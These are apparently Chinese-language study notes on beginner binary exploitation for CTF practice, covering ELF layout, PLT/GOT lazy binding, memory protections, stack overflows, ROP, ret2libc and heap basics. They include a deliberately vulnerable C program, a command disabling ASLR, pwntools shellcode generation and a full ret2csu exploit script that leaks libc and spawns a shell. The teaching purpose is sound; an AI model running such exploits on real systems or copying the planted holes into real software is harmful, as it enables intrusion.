PWN入门

工具

shellcode

http://shell-storm.org/

配置32位编译程序

sudo apt-get install lib32readline-dev

源代码在线查看

https://elixir.bootlin.com/linux/v3.8/source/include/linux

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html

杂学

  1. 程序各个数据放在哪里

    image-20210619163544713

    • 未初始化全局变量--Bss(不占用实际空间)

    • 已初始化全局变量--Data

    • 函数、全局常量(只可读) --Code

    • 局部变量(随着函数结束释放) -- Stack

    • 输入的数据(动态)--Heap

    • 形参--寄存器

    • .rodata (readonly data):只读数据段

  2. 寄存器

    rax-eax-ax-al/ah

    64-32-16-8-4

  3. windows与linux区分文件

    • windows以后缀识别文件

    • linux以文件头识别文件类型

  4. vim编辑器以16进制查看

    !xxd

  5. 编译--汇编

    c->asm asm->机器指令

    反汇编--反编译

    image-20210713145303447

  6. 关闭缓冲区

    setbuf(stdin,0);

    setbuf(stdout,0);

  7. system函数

    其中的字符串类容可以使用作为shell命令

    如:system("/bin/sh"),调用该函数之后即可进行shell命令操作,ls,pwd,cd ..

  8. nc执行远程端口程序

    nc ip port

  9. 64位程序只有6字节地址位:有一半为操作系统内核,该地区用户不可使用,用户可用区只有一半,所以小一些,多了用不完

  10. 管道符与grep

    • 管道符“|”:将前边的输出作为后边的输入

    • grep:筛选包含目标字符串的字符串

      ROPgadget --binary XXX --only "pop|ret" | grep ebx

  11. gcc编译与安全机制

    #!bin/sh/

    gcc -fno-stack-protector -z execstack -no-pie -g -o 编译后文件名 将被编译的文件名.c

    参数解释:

    -fno-stack-protector:关闭canary

    -z execstack:打开栈的可执行权限

    -no-pie:关闭PIE

    -g:附加调试信息(必须有源c文件)

    -o 编译后文件名:编译文件

    查看ASLR

    echo 0 > /proc/sys/kernel/randomize_va_space

    image-20210716211052281

    机器重启会重置ASLR

  12. 汇编指令ret=pop eip

  13. 一般的函数调用(自己写的函数和普通库函数):使用call指令调用

    系统调用:使用汇编的 int指令调用

  14. 一般地址内容

    • 32位程序

      0x804800-0x804900:自己的代码

      0xf7xxxxxxxxx:libc的文件

      0xffffxxxxxxxx:栈地址

  15. linux自带检查文件字符串功能

    strings ret2libc | grep bin/sh

  16. linux的系统调用位置

    /usr/include/x86_64-linux-gnu/asm/unistd_32.h

    image-20210726214321740

  17. 计算机底层运行都是以字符串转成ascii码保存数据

    如:

    12\n=0x31320a

  18. 查看本地libc中system偏移量

    readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"

    等价于

    libc=ELF("/lib/i386-linux-gnu/libc.so.6")

    libc.symbols["system"]

  19. 32位程序(x86)和64位程序(amd64)的参数传递区别

    32位:

    • 仅用栈传参数

    • 在栈中从高到低地址,以逆序传入参数,即最后一个参数在最高地址

    • call指令存入返回地址

    • 压入previous ebp

    64位:

    • 前6个参数分别存在rdi、rsi、rdx、rcx、r8、r9

    • 超过6个的参数存在栈中,同x86

    • call指令压入返回地址

    • 压入previous ebp

  20. IDA细字体显示的函数在gdb中都没有(这些是IDA猜测的函数,机器码的程序中没有)

  21. 程序开始之前栈中有什么内容:环境变量

  22. c语言:

    (函数地址)(参数)==函数(参数)

    若a=greeting,即a为greeting函数地址,那么

    (a)(参数)等价于a(参数)

    int array[5]={0,1,2,3,4}
    //array+1=array[1]
    int a=array;
    //a+4=array[1] 32位程序

    关于将函数地址加减操作

     

动态链接

  1. 程序编译过程

    image-20210520130020650

    静态链接在链接的时候将代码装入程序

    动态链接在程序装入内存,在需要使用函数时从动态链接库获取该部分函数,动态链接库一开始就存在于内存,最开始不知道具体函数在哪个位置

    调试查看:

    image-20210721104635857

    在一开始就装入了在该目录下文件,该文件就是一个动态链接库

    image-20210717142822501

  2. 动态链接过程(概略):

    • call动态链接函数

    • 跳转到 .plt 中的 foo 表项

    • .plt表项第一条指令跳转到.got.plt表项

    • got第一条类容为跳转到.plt+1条指令(第一次访问还未装入有效地址)

    • push index,给__dl_runtime_resolve 函数传参

    • 跳转到PLT0,继续传第二个参数

    • 调用__dl_runtime_resolve 函数,将函数真实地址写入.got

  3. 延迟绑定(详细)

    根据动态链接基础,我们来看看plt的实际内容

    延迟绑定

    1. bar@plt的第一条指令是一条通过GOT间接跳转的指令。bar@GOT表示GOT中保存bar()这个函数相应的项。如果链接器在初始化阶段已经初始化该项,并且将bar()的地址填入该项,那么这个跳转指令的结果就是我们所期望的,跳转到bar

    2. 但是为了实现延迟绑定,链接器在初始化阶段并没有将bar()的地址填入到该项,而是将上面代码中第二条指令 ”push n“ 的地址填入到bar@GOT中,这个步骤不需要查找任何符号,所以代价很低。很明显,第一条指令的效果是跳转到第二条指令,相当于没有进行任何操作。第二条指令将一个数字n压入堆栈中,这个数字是bar这个符号引用在重定位表 “rel. plt” 中的下标,接着又是一条push指令将模块的ID压入到堆栈,然后跳转到dl_ runtime resolve。这实际上就是在实现:先将所需要决议符号的下标压入堆栈,再将模块ID压入堆栈,然后调用动态链接器的dl_ runtime_ resolve()函数来完成符号解析和重定位作。 dl_runtime_resolve在进行一系列工作以后将bar(的真正地址填入到bar@GOT中

    3. 一旦bar()这个函数被解析完成,当我们再次调用bar@plt时,第一条jmp指令就能够跳转到真正的bar()函数中,bar()函数返回的时候会根据堆栈里面保存的EIP直接返回调用者,而不会再继续执行bar@plt中第二条指令的开始的那段代码,那段代码指挥在符号未被解析的时候执行一次

    4. 上面描述的是PLT的基本原理,PLT的真正实现要比它的结构复杂一些,ELF将GOT拆分成两个表".got"和"".got.plt"。其中"".got"用来保存全局变量的引用地址。".got.plt"用来保存函数引用的地址,也就是说,所有对于外部函数的引用全部被分离出来放到了 ".got.plt"中。另外 ".got.plt"还有一个特殊的地方就是它的前三项是有特殊意义的,分别含义如下:

      • 第一项保存的是 ".dynamic" 段的地址,这个段描述了本模块动态链接的相关信息,我们在后面还会介绍 ".dynamic"段

      • 第二项保存的是本模块的ID

      • 第三项保存的是_dl_runtime_resolve()的地址

    参考详细:https://www.cnblogs.com/linhaostudy/p/10507444.html

  4. 比较静态链接和动态链接

    • 动态链接

      gcc -fno-PIE -o dytest hello.c

      编译时关闭PIE报错? why?

      我傻了,编译pie小写

      gcc -fno-pie -o dytest hello.c

      gcc -no-pie -g -o hello hello.c

       

       

      NX:-z execstack / -z noexecstack (关闭 / 开启)

      Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)

      PIE:-no-pie / -pie (关闭 / 开启)

      RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)

    • 静态链接

      gcc -fno-PIE --static -o dytest hello.c

    • 区别:

      • 动态链接没有把库函数装入程序,静态链接把库函数装入程序

      • 在IDA中,粉色表示的函数都是只在程序存放了一个符号,用来解析函数在动态链接库

        image-20210721101513807

      • 文件大小差距大,静态链接由于库函数的装入

        image-20210721101242995

  5. plt节

    .rel.dyn节的每个表项对应了除了外部过程调用的符号以外的所有重定位对象,而.rel.plt节的每个表项对应了所有外部过程调用符号的重定位信息。例如你的程序中需要调用一个libc中的函数,假如是strlen,直接调用的话,这个strlen符号就会在.rel.plt节中,如果在你的程序中定义一个函数指针(假如是my_strlen)指向strlen函数,那么my_strlen符号就会在.rel.dyn节中

    原文链接:https://blog.csdn.net/beyond702/article/details/52105778

    定位动态链接库函数:

    image-20210723205155181

    ld为装载器,同样装入内存中

    image-20210723210425631

    使用IDA查看各节:

    • plt节(16字节)

      image-20210724113433958

    • got.plt节(8字节)

      image-20210724113657734

       

  6. 动态调试

    image-20210724114240334

    image-20210724160901441

canary

  1. 原理:

    • 放入canary(随机数)

      image-20210810142703368

    • 检查canary

      image-20210810143344957

  2. 知识点:canary的保护机制

    当不存在canary时,多溢出数据会造成segment fault

    当存在canary时,会有stack_chk_fail函数监测到,会显示stack smashing detected

    image-20210810135913460

概述

工具

  1. ida

  2. IDA安装:

python

  1. 解释性代码:由解释器来解释每一行代码

    运行代码前边加python3

    如果在头部标识好解释器

    #!/bin/python3

    再添加文件可执行权限

    chmod +x xxx.py

    就可执行了

  2. c语言编译好后可直接执行

可执行文件分类

image-20210713142450892

ELF文件

图片1

image-20210713142845526

  1. 文件头表:操作系统利用建立进程映像

  2. 段表:标识进程映像不同部分的权限(代码段不可写)

  3. 节头表:组织ELF文件存储在磁盘上各个节的信息

image-20210713144908758

左:磁盘中

右:主存中

  1. 二者映射关系

    image-20210713145809246

    下方两指令在linux可具体查看图示结构

虚拟地址

image-20210713145740710

  1. 为了安全采用虚拟地址

  2. 操作系统为你分配实地址,给你虚拟地址使用,操作系统可以从虚拟地址映射到实地址

  3. 每个进程可虚拟使用4GB,但实际占有由操作系统分配仅他具体实际大小空间,分散式存储

机器字长

如我们64位机器就是机器字长为64位,一次传输64位数据

段与节

  1. 段是进程执行时的数据结构

  2. 节是存储程序在磁盘上的数据结构

  3. 节在装入内存执行时会装入段,一个段可装多个节

    image-20210713155049226

    plt节:解析动态链接函数的实际地址

    text:实现特定功能

    got.plt:保存具体解析到的动态链接函数地址

    bss:不占用磁盘空间

程序执行过程

  1. 静态

image-20210713161416270

  1. 动态

image-20210713161455555

image-20210713145809246

栈与堆的压入方向不同,保证二者利用率到达最大

汇编指令

image-20210713162023316

  1. Intel与AT&T

    • Intel目的操作数在前,源操作数在后,AT&T相反

    • AT&T立即数前加$

    • AT&T取内容符号位()小括号

缓冲区溢出

基本原理

  1. 可见汇编笔记测试3

  2. image-20210714133021710

    特点:

    • 栈从地地址向高地址增长

    • 其他段都是低地址向高地址增长

  3. 工作过程(以下图为例)

    image-20210714140354756

    • 逆序压入参数

    • CALL指令:保存下条指令地址ip到栈,并将ip移到子函数指令位置

    • 保存当前栈顶(ebp)的位置入栈

    • 将ebp移至esp

    • 申请一段空间,执行子函数

    • 返回

      • 若有局部变量,使用leave(还原esp+还原ebp)&retn(还原eip)

      • 没有局部变量可直接pop ebp+retn,因为esp与ebp指向相同地方

        pop:将ESP指向内容赋值给后边的寄存器

        如:pop ebp;将esp的内容赋值给ebp

    • 返回值存在EAX寄存器中

    • retn还原eip:即恢复指令到主程序,相当于pop eip

    • 可见PWN.pptx的P42

攻击原理

当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip,所以我们的目标就是让 eip 载入攻击指令的地址。

  • 首先,在退栈过程中,返回地址会被传给 eip,所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次,我们可以在溢出数据内包含一段攻击指令,也可以在内存其他位置寻找可用的攻击指令。

    image-20210714144332116

  • 实例

    image-20210714144943809

漏洞

  1. gets函数

    读入字符串,但不确定长度,可无限长,直到'\0'才结束读取

  2. 超出规定长度的数据往上覆盖,即往返回地址方向覆盖

  3. 程序存在后门函数

    system("bin/sh")

例题1

  1. 产因:

    • 存在栈溢出gets

    • 存在后门函数system("bin/sh")

例题2

  1. 产因:

    • 存在栈溢出gets

    • 不存在后门函数system("bin/sh")

  2. 由此需要自己写入攻击代码shellcode,代码写到哪?

    • bss区

    • stack区

    • heap区

  3. 知识点

    • 堆缓冲区不可执行(没有可执行权限)

    • 栈本来有可执行权限,但有NX保护(the no Execute bit),存在该保护栈就不可执行

      • the NX bit

        1. 程序与操作系统的防护措施,编译时决定是否生效,由操作系统实现

        2. 通过在内存页的标识中增加“执行”位, 可以表示该内存页是否可以执行, 若程序代码的 EIP 执行至不可运行的内存页, 则 CPU 将直接拒绝执行“指令”造成程序崩溃

    • bss区默认有可执行权限

  4. 注意:插入代码是机器码,不是c语言代码

    如何获取机器码:

    pwntools 自带获取机器码功能,默认32位

    form pwn import *

    获得汇编代码

    print(shellcraft.sh())

    变成机器码

    print(asm(shellcraft.sh()))

     

    获得64位获取shell的机器码

    print(asm(shellcraft.amd64.sh()))

    注意:设置context.arch = "amd64",即python脚本要加这句才能识别是64位程序

例题3

  1. 产因:

    • 在栈可执行的情况下

  2. 知识点

    • 如何关闭ASLR

      echo 0 > /proc/sys/kernel/randomize_va_space

      image-20210716211052281

      操作系统该文件的值代表了ASLR的情况

      更改其值即更改了ASLR的状态

    • 如何编译

      #!bin/sh/

      gcc -fno-stack-protector -z execstack -no-pie -g -o 编译后文件名 将被编译的文件名.c

      参数解释:

      -fno-stack-protector:关闭canary

      -z execstack:打开栈的可执行权限

      -no-pie:关闭PIE

      -g:附加调试信息(必须有源c文件)

      -o 编译后文件名:编译文件

    • 写函数打印字符串地址

      #include<stdio.h>
      int main(){
             char str[100];
             printf("%p",str);
             return 0;
      }

      打开ASLR:发现每次str地址随机

      image-20210716214952070

      关闭ASLR:地址固定

      image-20210716215032870

  3. 自己写漏洞文件

    //ret2stack.c
    #include<stdio.h>
    int main(){
           char str[100];
      printf("%p",str);
           gets(str);
           return 0;
    }

    编译

    gcc -fno-stack-protector -z execstack -no-pie -g -o ret2stack ret2stack.c

  4. gdb调试,发现存在sourcecode,因为存在源代码且在同一路径下

    image-20210716214334258

  5. gdb调试中输出的地址和本级运行输出的地址不同,说明两点

    • pwndbg是将程序装入自己的沙盒环境中来运行,

    • pwndbg固定关闭ASLR,无论主机是否开关,所以每次运行输出地址相同

    总结:实际地址为程序输出地址,或IDA中地址,且偏移量一定正确

内存保护机制

  1. NX(the NX bit(让栈段没有执行权限))

    1. 程序与操作系统的防护措施,编译时决定是否生效,由操作系统实现

    2. 通过在内存页的标识中增加“执行”位, 可以表示该内存页是否可以执行, 若程序代码的 EIP 执行至不可运行的内存页, 则 CPU 将直接拒绝执行“指令”造成程序崩溃

  2. ALSR(ADRESS SPACE Laout Randomization),内存随机化

    系统的防护措施,程序装载时生效:默认一定打开

    •/proc/sys/kernel/randomize_va_space = 0:没有随机化。即关闭 ASLR

    •/proc/sys/kernel/randomize_va_space = 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化

    •/proc/sys/kernel/randomize_va_space = 2:完全的随机化。在randomize_va_space = 1的基础上,通过 brk() 分配的内存空间也将被随机化

  3. PIE(Position-Independent Executable)控制bss,data,code(text)的随机化(磁盘中本体)

    • 程序的防护措施,编译时生效

    • 随机化ELF文件的映射地址

    • 开启 ASLR 之后,PIE 才会生效

    文件映射:将物理外存的文件映射到内存,而不是写入

  4. canary

    • 介绍:当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

    • 详情

    image-20210716212352868

RELRO(Relocation Read Only)

设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

Partial RELRO: gcc -Wl, -z, relro:

ELF节重排

.got, .dtors,etc. precede the .data and .bss

GOT表仍然可写

Full RELRO: gcc -Wl, -z, relro, -z, now

支持Partial RELRO的所有功能

GOT表只读

如果有full relro,那么泄露,修改got表的思路就不行了

查询证明

  1. gcc编译与安全机制

    #!bin/sh/

    gcc -fno-stack-protector -z execstack -no-pie -g -o 编译后文件名 将被编译的文件名.c

    参数解释:

    -fno-stack-protector:关闭canary

    -z execstack:打开栈的可执行权限

    -no-pie:关闭PIE

    -g:附加调试信息(必须有源c文件)

    -o 编译后文件名:编译文件

    • 查看ASLR

      echo 0 > /proc/sys/kernel/randomize_va_space

      image-20210716211052281

      机器重启会重置ASLR

    • 一种攻击aslr的方法(nop滑梯)

      将栈内容全部覆盖成nop指令(无任何操作),使得你指向任意地址,有更大的概率指向被覆盖成nop的指令,那么跳转到此处就会执行到nop完之后的第一条指令

返回导向编程

  1. 目的:程序之间来回跳转到达想要的目的(多次篡改返回地址eip)

知识点

  • 如何进行write的系统调用

    #include<stdio.h>
    char shellcode[100]="hello world";
    void my_write(){
       write(1,shellcode,0x100);
    }
    int main(){
       my_write();
       return 0;
    }
    • write是动态链接库封装好的函数

    • 动态链接库内是汇编指令

      image-20210717144042685

    • 总结:动态链接库包装汇编代码封装成函数,调用动态链接库即完成了汇编代码功能

  • 什么是动态链接库

    ldd命令查看使用的动态链接库

    image-20210717113604119

    linux-vdso.so.1 (0x00007ffe17cc6000):高级pwn相关知识

     

    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6a91026000):标准动态链接库的软链接

    软链接:相当于一种快捷方式,放到任何地方都能打开指向文件

     

    /lib64/ld-linux-x86-64.so.2 (0x00007f6a9120a000):动态链接库装载器,负责把需要的动态链接库文件装载到共享空间,没有漏洞

  • 为什么要动态链接库

    采用动态链接库的优点:

    (1)更加节省内存;

    (2)DLL文件与EXE文件独立,只要输出接口不变,更换DLL文件不会对EXE文件造成任何影响,因而极大地提高了可维护性和可扩展性。

  • 查看动态链接库

    根目录下的lib文件

    image-20210717142150472

    查看libc.so.6

    image-20210717142822501

    可以了解到所有系统都有该文件名,但指向了不同的libc文件(视频为libc-2.28.so),所以libc.so.6为不变的指向libc文件的软链接,相当于libc文件的快捷方式

ret2sys & ROP

  1. 跳转到共享区的动态链接库的system函数(或者execve函数)

    system函数是execve函数包装

    execve对应的汇编代码

    image-20210717144645702

  2. 在没有对应连续汇编代码(一条完整的指令)的情况下,如何做到执行获取shell的函数呢?

    答:使用ROP,寻找pop+ret指令的组合,达到离散分布指令连续执行的效果

    注意:ret指令相当于pop eip

    image-20210717161427873

    模拟过程:

    • 首先栈溢出覆盖返回地址,指令跳转到0x08052318位置

      pop %edx;ret;

    • 0x0c0c0c0c的值赋给edx,跳转到0x0809951f位置的

      xor %eax,%eax

    • eax置0,跳转到0x080788c1

      mov %eax,(%edx);ret;

    如此来达到想要的目的

    image-20210718111548347

例4

该例题为静态链接,所使用的指令都能在可执行程序找到

  1. function windows按ctrl+f

    搜索system函数

  2. 在字符串搜索"/bin/sh",存在,但不是system函数参数

  3. 寻找gaget

    ROPgadget --binary XXX --only "pop|ret"

    在XXX ELF文件中寻找只有pop或者ret指令

    ROPgadget --binary XXX --only "pop|ret" |grep eax

    在XXX ELF文件中寻找只有pop或者ret指令,并筛选其中包含eax的字符串

    注意:构造的命令中只有ret改变了eip进行指令跳转,但是堆栈段并没有跳转,所以可以通过溢出到连续的堆栈段来确定数据

  4. 寻找int 80

    ROPgadget --binary XXX --only "int"

    或者使用python自带的字符串查找

    from pwn import *
    elf=ELF("./ret2systemcall")
    hex(next(elf.search(b"/bin/sh")))

    image-20210718205657340

ret2libc

  1. 环境:

    存在system函数,但其中的参数无效

  2. 思路:只需跳转到plt节对应的system地址即可

例5

  1. 例1

    如何寻找system函数在plt的地址

    • 在IDA中拖宽左栏

      image-20210724180119200

      注意:不能直接跳转到plt节就结束,因为plt的内容只是地址,要取plt内容的内容,才是libc中的函数

      image-20210724222347496

    • 如何给函数传参

      因为调用的system函数需要参数,比如"/bin/sh",那么这段字符串该在哪

      根据堆栈传参原理,在当前ebp+12的位置为第一参数位置

      image-20210724181622514

      但是由于破坏了堆栈原理,所以需要加4字节垃圾数据,即参数寻找在当前ebp前2字节

      返回到system函数首先压入其ebp,那么ebp上两字节就是他的第一个参数

      image-20210724181846179

      注意:ebp位置:指向previous ebp的起始地址

      垃圾数据:保证system跳转的参数位置正确

    • 需解决的问题

      1. 保证system函数写入到got节

        无需保证,写入或不写入最终都会跳转到system函数

        因为:可直接返回到plt位置,这样无论got中是否有system函数地址,都会跳转到got函数,而不是直接跳到got节去获取system函数地址

      2. 如果没有“/bin/sh”字符串该怎么办

        使用read函数自己读入

      3. 多次取内容是否自动完成

        由1知:会从plt标记处完全跳转到system函数

      4. 堆栈如何安排

        如果过程调用2个或以下数量函数,那么两函数相邻,两参数相邻即可

        如果多余2个,那么需要使用函数地址+pop ret+参数形式来构成链

      5. 如何找到plt节:

        plt节写死在elf文件中,只需在IDA中找到其对应位置即可

例6

  1. 条件:在例5的情况下没有“/bin/sh”

  2. 如何解决:使用ROP自己构造gets函数,自己读入“/bin/sh”到bss节

    • 存在bss节的全局变量

    • bss节地址固定

    • ROP可构造出gets函数

例7

  1. 条件:

    • 没有/bin/sh

    • 没有system函数

    • 有libc.so文件

  2. 如何解决

    • 使用”sh“代替“/bin/sh”

      使用字符串搜索sh

      strings ret2libc3 |grep sh

    • 利用libc.so文件,通过gdb调试确定其他动态链接库函数puts与system函数的相对地址差(固定不变)

      通过程序输出其动态链接库函数puts

      image-20210727222203302

    • 注意:写入system的地址的时候,由于底层的原理机制,需要将地址转换成10进制的字符串型(ascii码)

      str(0x123456)

  3. 操作

    • python调试

      elf=ELF("./ret2libc3")      #创建进程
      libc=ELF("./libc.so")
      elf.got["puts"]             #寻找got表中的puts函数地址
      a=libc.symbols["puts"]      #寻找puts在libc中偏移量
      b=libc.symbols["system"]    #寻找system在libc中偏移量
      c=a-b                       #计算libc中puts与system的相对偏移,该值固定
    • GDB调试

      • plt:查看plt节地址与部分信息

      • got:查看got表信息

  4. 小知识

    • 根据段页式管理,计算机以4KB分页,导致system函数地址最低3位一定相同

    • 本地只能看偏移量通过计算获取实际地址,不能直接看gdb获得的实际地址,可以用程序自身输出泄露地址,因为本地的libc和远端libc可能不相同

ret2csu

  1. 原理:

    在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

    .text:00000000004005C0 ; void _libc_csu_init(void)
    .text:00000000004005C0                 public __libc_csu_init
    .text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16•o
    .text:00000000004005C0                 push    r15
    .text:00000000004005C2                 push    r14
    .text:00000000004005C4                 mov     r15d, edi
    .text:00000000004005C7                 push    r13
    .text:00000000004005C9                 push    r12
    .text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
    .text:00000000004005D2                 push    rbp
    .text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
    .text:00000000004005DA                 push    rbx
    .text:00000000004005DB                 mov     r14, rsi
    .text:00000000004005DE                 mov     r13, rdx
    .text:00000000004005E1                 sub     rbp, r12
    .text:00000000004005E4                 sub     rsp, 8
    .text:00000000004005E8                 sar     rbp, 3
    .text:00000000004005EC                 call    _init_proc
    .text:00000000004005F1                 test    rbp, rbp
    .text:00000000004005F4                 jz     short loc_400616
    .text:00000000004005F6                 xor     ebx, ebx
    .text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
    .text:0000000000400600
    .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54•j
    .text:0000000000400600                 mov     rdx, r13
    .text:0000000000400603                 mov     rsi, r14
    .text:0000000000400606                 mov     edi, r15d
    .text:0000000000400609                 call   qword ptr [r12+rbx*8]
    .text:000000000040060D                 add     rbx, 1
    .text:0000000000400611                 cmp     rbx, rbp
    .text:0000000000400614                 jnz     short loc_400600
    .text:0000000000400616
    .text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34•j
    .text:0000000000400616                 add     rsp, 8
    .text:000000000040061A                 pop     rbx
    .text:000000000040061B                 pop     rbp
    .text:000000000040061C                 pop     r12
    .text:000000000040061E                 pop     r13
    .text:0000000000400620                 pop     r14
    .text:0000000000400622                 pop     r15
    .text:0000000000400624                 retn
    .text:0000000000400624 __libc_csu_init endp

    这里我们可以利用以下几点

    • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。

    • 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。

    • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

  2. 个人总结:

    • 主要针对64位程序,32位程序使用ROPGagets就可以找到对应的pop_ret指令,32位程序从栈传参,所以无需特殊的指令来对寄存器赋值

    • 64位程序中由于需要使用寄存器传参,而恰好与csu_init中的寄存器赋值相对应

      .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15

      对这些寄存器赋值后,在调用一下指令

      .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d

      即可完成对前3个参数寄存器的赋值

    • 实际作用效果:无限制的条件下实现寄存器传参,这里主要是对rdx传参

  3. 攻击流程

    from pwn import *
    from LibcSearcher import LibcSearcher

    #context.log_level = 'debug'

    level5 = ELF('./level5')
    sh = process('./level5')

    write_got = level5.got['write']
    read_got = level5.got['read']
    main_addr = level5.symbols['main']
    bss_base = level5.bss()
    csu_front_addr = 0x0000000000400600
    csu_end_addr = 0x000000000040061A
    fakeebp = 'b' * 8


    def csu(rbx, rbp, r12, r13, r14, r15, last):
       # pop rbx,rbp,r12,r13,r14,r15
       # rbx should be 0,
       # rbp should be 1,enable not to jump
       # r12 should be the function we want to call
       # rdi=edi=r15d
       # rsi=r14
       # rdx=r13
       payload = 'a' * 0x80 + fakeebp
       payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
           r13) + p64(r14) + p64(r15)
       payload += p64(csu_front_addr)
       payload += 'a' * 0x38
       payload += p64(last)
       sh.send(payload)
       sleep(1)


    sh.recvuntil('Hello, World\n')
    ## RDI, RSI, RDX, RCX, R8, R9, more on the stack
    ## write(1,write_got,8)
    csu(0, 1, write_got, 8, write_got, 1, main_addr)

    write_addr = u64(sh.recv(8))
    libc = LibcSearcher('write', write_addr)
    libc_base = write_addr - libc.dump('write')
    execve_addr = libc_base + libc.dump('execve')
    log.success('execve_addr ' + hex(execve_addr))
    ##gdb.attach(sh)

    ## read(0,bss_base,16)
    ## read execve_addr and /bin/sh\x00
    sh.recvuntil('Hello, World\n')
    #rbx=0,rbp=1 => rbx=rbp-1;
    #0 => r15 => edi
    #bss_base => r14 => rsi
    #16 => r13 => rdx
    #read_got => retadress
    csu(0, 1, read_got, 16, bss_base, 0, main_addr)
    sh.send(p64(execve_addr) + '/bin/sh\x00')

    sh.recvuntil('Hello, World\n')
    ## execve(bss_base+8)
    csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
    sh.interactive()

     

花式栈溢出

smashes

  1. 知识点:canary的保护机制

    当不存在canary时,多溢出数据会造成segment fault

    当存在canary时,会有stack_chk_fail函数监测到,会显示stack smashing detected

    image-20210810135913460

  2. 例:smashes:

    场景条件:在低版本的libc中,程序的canary报错会打印程序的路径名,该路径名是一环境变量,此时我们只需将该环境变量栈溢出覆盖成flag地址,那么报错提示就会打印flag

栈迁移

  1. 原理:用 gadget改变 esp 的值,跳转到精心构造的栈位置处

  2. 应用场景:

    • 栈溢出长度不足以使用直接 ROP

    • 栈溢出 payload 会出现空字符截断,且gadget地址含有空字符

    • 在泄露地址信息后需要新的 ROP payload

  1. 原理:malloc动态申请的空间就在堆中

  2. 申请堆内存的系统调用:

    • mmap

    • brk

      brk申请的原理为:

      初始时,堆的起始地址 start_brk 以及堆的当前末尾 brk 指向同一地址。根据是否开启 ASLR,两者的具体位置会有所不同

      • 不开启 ASLR 保护时,start_brk 以及 brk 会指向 data/bss 段的结尾。

      • 开启 ASLR 保护时,start_brk 以及 brk 也会指向同一位置,只是这个位置是在 data/bss 段结尾后的随机偏移处

      image-20210829153826766

杂学

  1. malloc(24):申请的用户空间为24字节,但实际分配了32字节,why?

    1. malloc申请的空间为用户可使用的空间,不包括管理信息

    2. 下一个chunk的prev_size可以被该chunk占用,因为只有在该chunk为free时该字段才有用

      24+16-8=32

  2. malloc_hook 是一个libc上的函数指针,调用malloc时如果该指针不为空则执行它指向的函数,可以通过写malloc_hookgetshell

arena

  1. 定义:虽然程序可能只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。我们称这一块连续的内存区域为 arena

    此外,我们称由主线程申请的内存为 main_arena。后续的申请的内存会一直从这个 arena 中获取,直到空间不足。当 arena 空间不足时,它可以通过增加 brk 的方式来增加堆的空间。类似地,arena 也可以通过减小 brk 来缩小自己的空间。

  2. 理解:堆管理器存在与操作系统和用户之间,操作系统持有物理内存,堆管理器把物理内存批发到虚拟空间中(有多余),自己管理起来,所管理的结构就称为arena,一个进程可以有多个arena,因为可以有多个线程

    测试代码:

    image-20210821123908468

    查看虚拟内存vmmap指令:

    image-20210821123841819

    发现堆空间有多余

    发现地址低3位都为0:因为操作系统的分页管理,4KB为1页占12位

  3. 知识点

    • malloc函数:从堆管理器申请一段空间,堆管理器从arena中为其分配空间,分配到的空间称为chunk

    • chunk:用户申请内存的单位,也是堆管理器管理内存的最基本单位 malloc()返回的指针指向一个chunk的数据区域

堆的数据结构

详情可见ctfwiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/

  • free chunk:将chunk归还到堆管理器中,这样可以减少系统调用次数,减少系统开销

    • fastbin free chunk:

      image-20210821110932921
